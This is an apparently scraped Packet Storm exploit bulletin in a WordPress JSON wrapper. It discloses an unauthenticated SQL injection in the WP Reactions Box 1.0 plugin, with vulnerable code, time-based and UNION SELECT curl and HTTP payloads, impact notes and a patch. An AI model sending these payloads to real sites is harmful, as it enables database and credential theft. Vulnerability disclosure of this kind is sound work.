{“lastseen”:”2025-08-26T00:02:34″,”description”:”WordPress……………………………”,”published”:”2025-08-25T00:00:00″,”modified”:”2025-08-25T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress WP Reactions Box 1.0 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:208833″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: WordPress WP Reactions Box Plugin 1.0 – SQL Injection\\n # Google Dork: N\/A\\n # Date: 2025-08-24\\n # Exploit Author: bRpsd cy[at]live.no\\n # Vendor Homepage: https:\/\/wordpress.org\/plugins\/wp-reactions-box\/\\n # Software Link: https:\/\/downloads.wordpress.org\/plugin\/wp-reactions-box.zip\\n # Version: \\u003c= 1.0\\n # Tested on: WordPress 6.x\\n # CVE: N\/A\\n \\n \\n Vulnerability: Unauthenticated SQL Injection in AJAX Handler\\n CVSS: 9.8 CRITICAL (AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H)\\n Affected File: wp-reactions.php:779-625 (vulnerable query in hkp_reactions_votes function, called from hkp_reactions_ajax_populate)\\n \\n Vulnerable Code:\\n =========================================================================================\\n 776: function hkp_reactions_ajax_populate() {\\n 777: global $wpdb;\\n 779: $postID = $_POST[‘postID’]; \/\/ No sanitization\\n 780: $options = get_option( ‘hkp_reactions_options’ );\\n 781: $reactionsMoods = hkp_reactions_box_moods( $options );\\n 782: $reactionsObj = hkp_reactions_votes( $postID ); \/\/ Passes to vulnerable function\\n …\\n 618: function hkp_reactions_votes( $postID = NULL ) {\\n 620: global $wpdb;\\n 625: $votes = $wpdb-\\u003eget_row( \\”SELECT * FROM {$wpdb-\\u003eprefix}hkp_reactions_posts WHERE ID=\\” . $postID );\\n =========================================================================================\\n \\n Parameter: $_POST[‘postID’]\\n For time-based blind SQLi (if no data returned): Use postID=1%20AND%20IF(1=1,SLEEP(5),0) and observe response delay.\\n \\n \\n \\n CURL Proof of concept:\\n \\n curl -X POST http:\/\/localhost\/wordpress\/wp-admin\/admin-ajax.php \\\\\\n -H \\”Content-Type: application\/x-www-form-urlencoded\\” \\\\\\n -d \\”action=hkp_reactions_populate\\u0026postID=0%20UNION%20SELECT%200%20as%20ID,%40%40version%20as%20bummer,0%20as%20good,0%20as%20sad,0%20as%20lol,0%20as%20scary,0%20as%20shocked,0%20as%20boring,0%20as%20sweet,0%20as%20angry,0%20as%20nerdy,now()%20as%20time\\”\\n \\n \\n HTTP Proof of concept:\\n POST \/wp-admin\/admin-ajax.php HTTP\/1.1\\n Host: example.com\\n Content-Type: application\/x-www-form-urlencoded\\n Content-Length: 124\\n \\n action=hkp_reactions_populate\\u0026postID=0%20UNION%20SELECT%200%20as%20ID,%40%40version%20as%20bummer,0%20as%20good,0%20as%20sad,0%20as%20lol,0%20as%20scary,0%20as%20shocked,0%20as%20boring,0%20as%20sweet,0%20as%20angry,0%20as%20nerdy,now()%20as%20time\\n \\n \\n Both Response:\\n {\\”reactions\\”:{\\”bummer\\”:\\”10.4.21-MariaDB\\”\\n \\n \\n Impact:\\n Complete database compromise including:\\n Extraction of WordPress configuration (wp-config.php contents)\\n User credentials and password hashes\\n All website content and sensitive data\\n Potential for privilege escalation and remote code execution\\n \\n \\n \\n Patch:\\n =======================================================================\\n function hkp_reactions_votes( $postID = NULL ) {\\n global $wpdb;\\n if ( !$postID ) {\\n global $post;\\n $postID = $post-\\u003eID;\\n }\\n $postID = intval($postID); \/\/ Sanitize input\\n $votes = $wpdb-\\u003eget_row( $wpdb-\\u003eprepare( \\”SELECT * FROM {$wpdb-\\u003eprefix}hkp_reactions_posts WHERE ID = %d\\”, $postID ) );\\n return $votes;\\n }\\n =======================================================================\\n Additionally, add a nonce check in hkp_reactions_ajax_populate() similar to the cast_vote endpoint: check_ajax_referer(‘hkp-wp-feelbox’, ‘token’); (require passing a token in POST).”,”sourceHref”:”https:\/\/packetstorm.news\/download\/208833″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/208833\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-26T00:02:34″,”description”:”WordPress……………………………”,”published”:”2025-08-25T00:00:00″,”modified”:”2025-08-25T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress WP Reactions Box 1.0 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:208833″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit Title: WordPress WP Reactions Box Plugin 1.0 – SQL Injection\\n # Google Dork: N\/A\\n # Date:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-14271","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n